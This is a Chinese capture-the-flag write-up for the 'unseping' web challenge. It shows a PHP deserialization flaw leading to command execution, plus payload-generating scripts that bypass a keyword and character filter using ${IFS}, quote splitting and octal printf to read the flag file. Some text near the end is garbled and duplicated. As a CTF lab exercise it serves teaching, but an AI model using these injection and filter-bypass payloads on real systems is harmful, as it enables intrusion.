当前位置: 首页 > article >正文

攻防世界37-unseping-CTFWeb

攻防世界37-unseping-CTFWeb

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

if (!preg_match_all(“/(||&|;| |/|cat|flag|tac|php|ls)/”, $str, $pat_array))做了过滤

且if (in_array($this->method, array(“ping”))),ping必须是method

这是一个反序列化问题

随便试一试,得到输出

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
     
}
 
$o=new ease("ping",array("ifconfig"));
$s = serialize($o);
echo base64_encode($s);
?>

image-20241111130152595

ls被过滤了,有几种绕过方法

  • 单引号,有效
  • 双引号,有效
  • I F S , {IFS}, IFS,{Z}有效
  • l\s也行

空格被过滤了

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
     
}
 
$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$s = serialize($o);
echo base64_encode($s);
?>

image-20241111130809076

/\都被过滤了

使用8进制编码"/",“/“的八进制编码为\57,使用 ( p r i n t f (printf (printf{IFS}”\57”)内敛执行输出“/”到字符串中

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
     
}
 
$o = new ease('ping', array('more${IFS}fl""ag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp'));
//$o = new ease('ping', array('c""at${IFS}fl""ag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
// 
$s = serialize($o);
echo base64_encode($s);
?>

得cyberpeace{305550cf468dbcfe0d6f5f0356c42ab4}

image-20241111132234881

然后手动加斜杠也行

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
     
}
$o=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$s = serialize($o);
echo base64_encode($s);
?>

\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
s = s e r i a l i z e ( s = serialize( s=serialize(o);
echo base64_encode($s);
?>



http://www.kler.cn/a/393916.html

相关文章:

  • 开源模型应用落地-qwen模型小试-Qwen2.5-7B-Instruct-tool usage入门-Qwen-Agent深入学习(四)
  • Gartner发布安全平台创新洞察:安全平台需具备的11项常见服务
  • 基于微信小程序的乡村研学游平台设计与实现,LW+源码+讲解
  • 论文解析:边缘计算网络中资源共享的分布式协议(2区)
  • Android中桌面小部件的开发流程及常见问题和解决方案
  • 随手记:简单实现纯前端文件导出(XLSX)
  • 边缘计算在智能制造中的应用
  • 对等同步身份认证(Simultaneous Authentication of Equals,简称SAE)介绍
  • Javaweb—Ajax与jQuery请求
  • PostgreSQL 事务读取行 不使用行锁 真的? 利弊双刃剑
  • SpringBoot技术栈:构建高效共享汽车系统
  • PAT甲级 1097 Deduplication on a Linked List(25)
  • 稀硫酸介质中 V 型球阀的材质选择与选型要点-耀圣
  • C++ | Leetcode C++题解之第552题学生出勤记录II
  • [ 网络安全开源项目 ] 市面上常见的开源 HIDS 有哪些 ?
  • 计算机视觉中的中值滤波:经典案例与Python代码解析
  • centos7上安装mysql
  • 分享 pdf 转 word 的免费平台
  • Rust 语言学习笔记(二)
  • Django基础用法+Demo演示
  • 2025年软考高项论文该怎么备考与复习?
  • 遥感大数据智能分析与应用
  • vue2和vue3的区别详解
  • 『VUE』25. 组件事件与v-model(详细图文注释)
  • web安全漏洞之ssrf入门
  • Spring MVC练习